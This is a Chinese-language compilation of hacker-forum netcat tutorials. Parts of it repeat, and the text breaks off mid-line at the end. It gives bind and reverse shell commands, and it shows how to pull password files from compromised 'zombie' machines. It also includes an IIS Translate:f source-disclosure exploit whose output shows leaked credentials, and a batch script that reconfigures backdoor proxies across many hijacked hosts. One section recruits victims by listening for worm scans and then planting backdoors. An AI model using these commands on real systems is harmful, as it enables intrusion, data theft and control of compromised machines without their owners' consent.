想要连接到某处: nc [-options] hostname port[s] [ports] …
绑定端口等待连接: nc -l -p port [-options] [hostname] [port]
参数:
-e prog 程序重定向,一旦连接,就执行 [危险!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, …
-h 帮助信息
-I secs 延时的间隔
-l 监听模式,用于入站连接
-n 指定数字的IP地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 任意指定本地及远程端口
-s addr 本地源地址
-t 以telnet的形式应答
-u UDP模式
-v 详细输出——用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉——用于扫描时
二. 它的简单使用方法
1.nc -l -p 80
监听80端口
2.nc -l -p 80 >c:\log.dat
监听80端口,并把信息记录到log.dat
3.nc -v -l -p 80
监听80端口,并显示端口信息
4.nc -vv -l -p 80
一样是监听端口,但显示端口信息更详细
5.nc -l -p 80 -t -e cmd.exe
监听本地的80端口的入站信息,同时将cmd.exe重定向至80端口,当有人连接的时候,就让cmd.exe以telnet的形式应答。当然这个最好用在肉鸡上,哈哈。
6.nc -v ip port
扫描某ip的某个端口
7.nc -v -z ip port-port
扫描某ip的某端口到某端口
8.nc -v -z -u ip port-port
扫描某ip的某udp端口到某udp端口
三.几个使用的例子
1. 计算机192.168.0.1运行:nc -v -n -p 99
计算机192.168.0.8运行:nc -e cmd.exe 192.168.0.1 99
这样我们就获得了192.168.0.8的一个shell哦,看看权限吧,添加一个用户123加入管理员组,yes!
2.计算机192.168.0.1运行:nc -v -n 192.168.0.8 99
计算机192.168.0.8运行:nc -v -l -p 99 >d:\sc.exe
ok,让我们来看看远程计算机的d盘吧
==============================================================
1、 了解NC的用法
命令:nc –h
技巧:win98用户可以在autoexec.bat加入path=nc的路径,win2000用户在环境变量中加入path中,linux含有这个命令(redhat)
1、基本使用
想要连接到某处: nc [-options] hostname port[s] [ports] ...
绑定端口等待连接: nc -l -p port [-options] [hostname] [port]
参数:
-e prog 程序重定向,一旦连接,就执行 [危险!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h 帮助信息
-i secs 延时的间隔
-l 监听模式,用于入站连接
-n 指定数字的IP地址,不能用hostname
-o file 记录16进制的传输
-p port 本地端口号
-r 任意指定本地及远程端口
-s addr 本地源地址
-u UDP模式
-v 详细输出——用两个-v可得到更详细的内容
-w secs timeout的时间
-z 将输入输出关掉——用于扫描时
其中端口号可以指定一个或者用lo-hi式的指定范围。
例如:扫描端口
tcp扫描
C:\\nc>nc -v -z -w2 192.168.0.80 1-140
net [192.168.0.80] 140 (?)
net [192.168.0.80] 139 (netbios-ssn) open
net [192.168.0.80] 138 (?)
net [192.168.0.80] 137 (netbios-ns)
net [192.168.0.80] 136 (?)
net [192.168.0.80] 135 (epmap) open
net [192.168.0.80] 81 (?) open
net [192.168.0.80] 80 (http) open
net [192.168.0.80] 79 (finger)
net [192.168.0.80] 25 (smtp) open
net [192.168.0.80] 24 (?)
net [192.168.0.80] 23 (telnet)
net [192.168.0.80] 21 (ftp)
udp扫描
C:\\nc>nc -u -v -z -w2 192.168.0.80 1-140
net [192.168.0.80] 140 (?) open
net [192.168.0.80] 139 (?) open
net [192.168.0.80] 138 (netbios-dgm) open
net [192.168.0.80] 137 (netbios-ns) open
net [192.168.0.80] 54 (?) open
net [192.168.0.80] 53 (domain) open
net [192.168.0.80] 38 (?) open
net [192.168.0.80] 37 (time) open
net [192.168.0.80] 7 (echo) open
二、高级应用
1.Window用法:
(1)IE的MIME欺骗
www.try2hack..nl(是一个让初学黑客技术的人去做实验的站点)
打开这个页面,有
http://www.try2hack.nl/cgi-bin/level7.pl页面(这个网站提供了黑客的8关,过了这8关证明你开始入门了),这个页面告诉我们的浏览器不是 IE6.72,我们的操作系统不是LIUNX,我们不是从www.microsoft.com/ms.htm重定向链接过去的,有病阿(这是一个题目呀,要慢慢研究),linux有IE6.72? 微软会在它的页面上放
http://www.try2hack.nl/cgi-bin/level7.pl的链接?看看页面的源代码,level7.pl是在服务器端 执行的perl脚本,根本无法看到,还是研究一下IE5和它通信时都告诉了它什么,抓包,我们会发现,我们的IE5告诉对方: 我是MSIE 5.0; Windows NT 5.0; .NET CLR 1.0.3705。。。。哈哈,level7.pl这个cgi应该是根据这些信息知道我们不是它要求的 客户,嘿嘿,需要欺骗对方才行,用军刀来可以实现,如下做就可以哄对方了:
nc www.try2hack.nl 80 [enter]
GET /cgi-bin/level7.pl HTTP/1.1 [enter]
Accept: image/gif, image/x-xbitmap, application/msword, */* [enter]
Referer
http://www.microsoft.com/ms.htm [enter]
Accept-Language: zh-cn [enter]
Accept-Encoding: gzip, deflate [enter]
User-Agent: Mozilla/4.0 (compatible; MSIE 6.72; Linux 8.8.8 i986) [enter]
Host: www.try2hack.nl [enter]
Connection:
Keep-Alive [enter]
注意,如果出现HTTP 400时,说明你输入格式有问题,出现httpd 200回应时,就给出结果了:
哈哈!赶快去实现一下(实践是成功之母)
(2)IIS 5 "Translate:f" 显示代码脆弱点
Translate:f脆弱点的机制:发送一个畸形的HTTP GET 请求给服务器方一个可执行脚本或相关文件类型(例如.ASP或者global.asa)。这些文件是用于服务器上运行的,绝不会到客户机上去,而这个请求就会导致IIS将这种文件的内容发送到远端的客户机上,而不是在服务器上运行。这种畸形的HTTP GET请求的关键特性是该请求的末尾有一个特定的头信息Translate:f,并有一个反斜杠"\\"附于URL之后。下面就有这样的一个例子([CRLF]代表回车字符)
注意 GET global.asa 后的反斜杠以及Translate:f头信息。
GET /global.asa\\ HTTP/1.0
Host:192.168.0.1
User-Agent:SensePostData
Content-Type:application/x-www-form-urlencoded
Translate:f
[CRLF]
[CRLF]
将以上内容保存在一个文本文件中(例如example.txt)
然后向一个有这个漏洞的服务器发送
c:\\>type example.txt | nc –nvv 192.168.0.80 80
(UNKNOWN) [192.168.0.80] 80 (?) open
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Tue, 03 Dec 2002 08:50:46 GMT
Content-Type: application/octet-stream
Content-Length: 2790
ETag: "0448299fcd6df1:bea"
Last-Modified: Wed, 13 Nov 2002 18:50:46 GMT
Accept-Ranges: bytes
Cache-Control: no-cache
<!-Copyright 2001-2003 netloafer.com -->
<object RUNAT=Server SCOPE=Session ID=myfix PROCID="my1.object"></object>
("ConnectionText") = "Dsn=ph;UID=myman;Password=mygod)"
("LDAPServer") = "LADP://ldap.netloafer.com:389"
("LDAPUserID") = "CN=Admin"
("LDAPPwd") = "mygod"
………
3.1.端口的刺探:
nc -vv ip port
RIVER [192.168.0.198] 19190 (?) open //显示是否开放open
3.2.扫描器
nc -vv -w 5 ip port-port port
nc -vv -z ip port-port port
这样扫描会留下大量的痕迹,系统管理员会额外小心
3.3. 后门
victim machine: //受害者的机器
nc -l -p port -e cmd.exe //win2000
nc -l -p port -e /bin/sh //unix,linux
attacker machine: //攻击者的机器.
nc ip -p port //连接victim_IP,然后得到一个shell。
3.4.反向连接
attacker machine: //一般是sql2.exe,远程溢出,webdavx3.exe攻击.
//或者wollf的反向连接.
nc -vv -l -p port
victim machine:
nc -e cmd.exe attacker ip -p port
nc -e /bin/sh attacker ip -p port
或者:
attacker machine:
nc -vv -l -p port1 /*用于输入*/
nc -vv -l -p prot2 /*用于显示*/
victim machine:
nc attacker_ip port1 | cmd.exe | nc attacker_ip port2
nc attacker_ip port1 | /bin/sh | nc attacker_ip port2
139要加参数-s(nc.exe -L -p 139 -d -e cmd.exe -s 对方机器IP)
这样就可以保证nc.exe优先于NETBIOS。
3.5.传送文件:
3.5.1 attacker machine <-- victim machine //从肉鸡拖密码文件回来.
nc -d -l -p port < path\\filedest /*attacker machine*/ 可以shell执行
nc -vv attacker_ip port > path\\file.txt /*victim machine*/ 需要Ctrl+C退出
//肉鸡需要gui界面的cmd.exe里面执行(终端登陆,不如安装FTP方便).否则没有办法输入Crl+C.
3.5.2 attacker machine --> victim machine //上传命令文件到肉鸡
nc -vv -l -p port > path\\file.txt /*victim machine*/ 需要Ctrl+C退出
nc -d victim_ip port < path\\filedest /*attacker machine*/ 可以shell执行
//这样比较好.我们登陆终端.入侵其他的肉鸡.可以选择shell模式登陆.
结论: 可以传输ascii,bin文件.可以传输程序文件.
问题:连接某个ip后,传送完成后,需要发送Ctrl+C退出nc.exe .
或者只有再次连接使用pskill.exe 杀掉进程.但是是否释放传输文件打开的句柄了?
3.6 端口数据抓包.
nc -vv -w 2 -o test.txt www.xfocus.net 80 21-15
< 00000058 35 30 30 20 53 79 6e 74 61 78 20 65 72 72 6f 72 # 500 Syntax error
< 00000068 2c 20 63 6f 6d 6d 61 6e 64 20 22 22 20 75 6e 72 # , command """" unr
< 00000078 65 63 6f 67 6e 69 7a 65 64 2e 0d 0a # ecognized...
< 00000084 83 00 00 01 8f # .....
3.7 telnet,自动批处理。 ★★★★★我要重点推荐的东西就是这个.
nc victim_ip port < path\\file.cmd /*victim machine*/ 显示执行过程.
nc -vv victim_ip port < path\\file.cmd /*victim machine*/ 显示执行过程.
nc -d victim_ip port < path\\file.cmd 安静模式.
_______________file.cmd________________________
password
cd %windir%
echo []=[%windir%]
c:
cd \\
md test
cd /d %windir%\\system32\\
net stop sksockserver
snake.exe -config port 11111
net start sksockserver
exit
_______________file.cmd__END___________________
===============================================================
0. 写在前面的话
1. Netcat 1.10 for NT - nc11nt.zip,原始英文信息
2. Netcat 1.10 for NT 帮助信息
3. Netcat 1.10 常用的命令格式
4. 管理肉鸡,更改肉鸡设置
5. 下载连接
6. 后记
######################################################################
0. 写在前面的话
######################################################################
最近工作比较空闲,老是想着怎么自动telnet肉鸡,自动执行命令。来管理自己的肉鸡。
自己写一个程序。功底是不够的,所以只有看了看nc的帮助信息,虽然只看了个半懂,
但是借助于金山词霸2002版本, 还是明白了一点东西.
我觉的有必要再总结一下.反正主要是满足我自己的需要.
######################################################################
1. Netcat 1.10 for NT - nc11nt.zip
######################################################################
Basic Features
* Outbound or inbound connections, TCP or UDP, to or from any ports
* Full DNS forward/reverse checking, with appropriate warnings
* Ability to use any local source port
* Ability to use any locally-configured network source address
* Built-in port-scanning capabilities, with randomizer
* Can read command line arguments from standard inputb
* Slow-send mode, one line every N seconds
* Hex dump of transmitted and received data
* Ability to let another program service established
connections
* Telnet-options responder
New for NT
* Ability to run in the background without a console window
* Ability to restart as a single-threaded server to handle a new
connection
________________________________________________________________________
Some of the features of netcat are:
Outbound or inbound connections, TCP or UDP, to or from any ports
Full DNS forward/reverse checking, with appropriate warnings
Ability to use any local source port
Ability to use any locally-configured network source address
Built-in port-scanning capabilities, with randomizer
Built-in loose source-routing capability
Can read command line arguments from standard input
Slow-send mode, one line every N seconds
Optional ability to let another program service inbound connections
Some of the potential uses of netcat:
Script backends
Scanning ports and inventorying services
Backup handlers
File transfers
Server testing and simulation
Firewall testing
Proxy gatewaying
Network performance testing
Address spoofing tests
Protecting X servers
1001 other uses you`ll likely come up with
Netcat + Encryption = Cryptcat
对比win2000微软的telnet.exe和微软的tlntsvr.exe服务,连接的时候就可以看出来了.
1.1 NC.EXE是一个非标准的telnet客户端程序,
1.2 还有一个putty.exe客户端程序,提供四种连接模式
-raw -telnet -rlogin -ssh.
######################################################################
2. Netcat 1.10 for NT 帮助信息
######################################################################
C:\WINDOWS\Desktop>nc -h
[v1.10 NT]
connect to somewhere: nc [-options] hostname port[s] [ports] ...
listen for inbound: nc -l -p port [options] [hostname] [port]
options:
-d detach from console, background mode (后台模式)
-e prog inbound program to exec [dangerous!!]
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h this cruft (本帮助信息)
-i secs delay interval for lines sent, ports scanned (延迟时间)
-l listen mode, for inbound connects (监听模式,等待连接)
-L listen harder, re-listen on socket close (连接关闭后,仍然继续监听)
-n numeric-only IP addresses, no DNS (ip数字模式,非dns解析)
-o file hex dump of traffic (十六进制模式输出文件,三段)
-p port local port number (本地端口)
-r randomize local and remote ports (随机本地远程端口)
-s addr local source address (本地源地址)
-t answer TELNET negotiation
-u UDP mode
-v verbose [use twice to be more verbose] (-vv 更多信息)
-w secs timeout for connects and final net reads
-z zero-I/O mode [used for scanning] (扫描模式,-vv)
port numbers can be individual or ranges: m-n [inclusive]
######################################################################
3. Netcat 1.10 常用的命令格式
######################################################################
下面引用 《沉睡不醒 10月15日凌晨》的文章的部分。
3.1.端口的刺探:
nc -vv ip port
RIVER [192.168.0.198] 19190 (?) open //显示是否开放open
3.2.扫描器
nc -vv -w 5 ip port-port port
nc -vv -z ip port-port port
这样扫描会留下大量的痕迹,系统管理员会额外小心
3.3. 后门
victim machine: //受害者的机器
nc -l -p port -e cmd.exe //win2000
nc -l -p port -e /bin/sh //unix,linux
attacker machine: //攻击者的机器.
nc ip -p port //连接victim_IP,然后得到一个shell。
3.4.反向连接
attacker machine: //一般是sql2.exe,远程溢出,webdavx3.exe攻击.
//或者wollf的反向连接.
nc -vv -l -p port
victim machine:
nc -e cmd.exe attacker ip -p port
nc -e /bin/sh attacker ip -p port
或者:
attacker machine:
nc -vv -l -p port1 /*用于输入*/
nc -vv -l -p prot2 /*用于显示*/
victim machine:
nc attacker_ip port1 | cmd.exe | nc attacker_ip port2
nc attacker_ip port1 | /bin/sh | nc attacker_ip port2
139要加参数-s(nc.exe -L -p 139 -d -e cmd.exe -s 对方机器IP)
这样就可以保证nc.exe优先于NETBIOS。
3.5.传送文件:
3.5.1 attacker machine <-- victim machine //从肉鸡拖密码文件回来.
nc -d -l -p port < path\filedest /*attacker machine*/ 可以shell执行
nc -vv attacker_ip port > path\file.txt /*victim machine*/ 需要Ctrl+C退出
//肉鸡需要gui界面的cmd.exe里面执行(终端登陆,不如安装FTP方便).否则没有办法输入Crl+C.
3.5.2 attacker machine --> victim machine //上传命令文件到肉鸡
nc -vv -l -p port > path\file.txt /*victim machine*/ 需要Ctrl+C退出
nc -d victim_ip port < path\filedest /*attacker machine*/ 可以shell执行
//这样比较好.我们登陆终端.入侵其他的肉鸡.可以选择shell模式登陆.
结论: 可以传输ascii,bin文件.可以传输程序文件.
问题:连接某个ip后,传送完成后,需要发送Ctrl+C退出nc.exe .
或者只有再次连接使用pskill.exe 杀掉进程.但是是否释放传输文件打开的句柄了?
3.6 端口数据抓包.
nc -vv -w 2 -o test.txt www.xfocus.net 80 21-15
< 00000058 35 30 30 20 53 79 6e 74 61 78 20 65 72 72 6f 72 # 500 Syntax error
< 00000068 2c 20 63 6f 6d 6d 61 6e 64 20 22 22 20 75 6e 72 # , command """" unr
< 00000078 65 63 6f 67 6e 69 7a 65 64 2e 0d 0a # ecognized...
< 00000084 83 00 00 01 8f # .....
3.7 telnet,自动批处理。 ★★★★★我要重点推荐的东西就是这个.
nc victim_ip port < path\file.cmd /*victim machine*/ 显示执行过程.
nc -vv victim_ip port < path\file.cmd /*victim machine*/ 显示执行过程.
nc -d victim_ip port < path\file.cmd 安静模式.
_______________file.cmd________________________
password
cd %windir%
echo []=[%windir%]
c:
cd \
md test
cd /d %windir%\system32\
net stop sksockserver
snake.exe -config port 11111
net start sksockserver
exit
_______________file.cmd__END___________________
######################################################################
4. 管理肉鸡,更改肉鸡设置
######################################################################
4.1 比如要统一更改肉鸡上面的代理端口.snake.exe 修改为11111 服务名称""sksockserver""
使用winshell后门. 端口1234 密码password
命令格式就是
modi.bat youip.txt
___________modi.bat____________________________
@if ""%1""=="""" echo Error: no ip.txt &&goto END
:start
@echo password >a.cmd
@echo s >>a.cmd
@echo cd /d %%windir%%\system32\ >>a.cmd
@net stop ""sksockserver"" >>a.cmd
@snake.exe -config port 11111 >>a.cmd
@net start ""sksockserver"" >>a.cmd
@exit >>a.cmd
:auto
@for /f ""eol=; tokens=1,2"" %%i in (%1) do @(nc.exe -vv -w 3 %%i 1234 < a.cmd)
:END
___________modi.bat__END_______________________
4.2
@echo off
color f0
:start
cls
C:\nc -vv -w 3 -l -p 80>>80.txt
goto start
把防火墙关掉以后运行这个批处理,会监听到许多探测U漏洞的信息,大多
是三条一组--妮姆达病毒扫描你的。这样就会得到肉鸡的.虽然质量不高.
但是也是一种便宜的办法.
肉鸡特征:
1。unicode漏洞
2。guest密码为空,administrators组用户
3。其他漏洞
自己慢慢的爽去吧。不过,再次强调一句,不建议而且是不能破坏国内主机,上去以后将tftp.exe改名。然后用pskill干掉mmc.exe进程,之后是杀毒。做好后门以后,将guest帐号停用,以对付傻瓜扫描器
######################################################################
5. 下载连接
######################################################################
5.1
http://www.atstake.com/research/tools/network_utilities/
Tool: Netcat 1.10 for Unix
Version: 03.20.96
Platforms: *nix
Tool: Netcat 1.1 for Win 95/98/NT/2000
Version: 02.08.98
Platforms: Runs on Win 95/98/NT/2000
5.2
http://www.xfocus.net/download.php?id=320
名称: cryptcat_nt.zip 更新时间: 2002-04-05
类别: 网络工具 平台: Win9x/NT/2000 大小: 115.8K 提交: maxilaw
简介: 加密传输的nc。
5.3
http://content.443.ch/pub/security/blackhat/Networking/nc/ 国外的网站
10.03.02 15:48 1305 cryptcat.txt
10.03.02 15:48 245760 cryptcat_linux2.tar
10.03.02 15:48 118533 cryptcat_nt.zip
######################################################################
6. 后记
######################################################################
只有明天上网,找个win2000 server登陆终端服务来测试了。
我的还是破win98,没有办法哟.
多试试,多想想,可能你可以用它来做更多事情——你可以参见nc110.tgz里script目录下的那
些脚本,从中获得一些思路。
我这儿没有nc110.tgz压缩包。明天去google.com搜索一下。
Unix 下面的命令还是不熟悉.
============================================================
一.NC(netcat)的使用方法!
连接到某处:nc [-options] hostname port[s] [ports].....
监听某端口等待连接:nc -l -p port [options] [hostname] [port] -options
-d 后台运行
-e prog 程序重定向,一旦有连接,就执行绑定的程序。
-g gateway source-routing hop point[s], up to 8
-G num source-routing pointer: 4, 8, 12, ...
-h 帮助信息
-i 设定延时时间。
-l 监听方式,等待连入。连接完成后,结束监听。
-L 监听方式,等待连入。连接完成后,继续监听。
-n 只能使用ip地址。
-o file 指定要传送的16进制代码。
-p port 指定本地的端口号。
-r 随意指定本地或远程端口号。
-s addr 本地的源地址。
-t 回显telnet信息。
-u UDP方式。
-v 显示详细的信息,-vv 可获取更详细的信息。
-w 指定超时的时间。
-z 用于scan。
以上就是nc的一些参数和选项,注意,这是nt版本的nc。如果是*nix的需要自己编译。也都差不多,只是netcat.c默认是没有-t和-e这个两个参数,要改。
看看它能干些什么,(偶就知道这些)
1.端口的刺探:
nc -vv ip port
2.扫描器
nc -v -w 5 ip port-port
nc -v -z ip port-port
3. 后门
victim machine:
nc -l -p port -e cmd.exe
nc -l -p port -e /bin/sh
attacker machine:
nc victim ip -p port
得到一个shell。
4.反向连接
attacker machine:
nc -vv -l -p port
victim machine:
nc -e cmd.exe attacker ip -p port
nc -e /bin/sh attacker ip -p port
或者:
attacker machine:
nc -vv -l -p port1 /*用于输入*/
nc -vv -l -p prot2 /*用于显示*/
victim machine:
nc attacker ip port1 | cmd.exe | nc attacker ip port2
nc attacker ip port1 | /bin/sh | nc attacker ip port2
5.传送文件:
attacker machine <-- victim machine
nc -d -l -p port < path file /*attacker machine*/
nc -vv attacker ip -p port > path file /*victim machine*/
attacker machine --> victim machine
nc -vv -l -p > patm file /*victim machine*/
nc -d victim ip -p port < path file /*attacker